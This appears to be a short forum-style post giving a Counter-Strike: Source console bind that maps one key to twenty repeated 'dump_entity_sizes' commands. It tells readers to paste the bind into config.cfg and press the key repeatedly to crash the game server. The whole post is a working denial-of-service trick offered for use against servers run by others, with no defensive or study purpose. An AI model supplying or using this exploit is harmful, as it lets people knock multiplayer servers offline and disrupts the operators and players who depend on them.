Copy this: bind "v" "dump_entity_sizes;dump_entity_sizes;dump_entity_sizes;dump_entity_sizes;dump_entity_sizes;dump_entity_sizes;dump_entity_sizes;dump_entity_sizes;dump_entity_sizes;dump_entity_sizes;dump_entity_sizes;dump_entity_sizes;dump_entity_sizes;dump_entity_sizes;dump_entity_sizes;dump_entity_sizes;dump_entity_sizes;dump_entity_sizes;dump_entity_sizes;dump_entity_sizes" Go to C:\Program Files\Counter-Strike Source\cstrike\cfg . Open with a text editor the file "config.cfg" Right click and paste the code you copied before. Save the file and run CSS... To crash the server: press the key "v" repeatly The server will crash!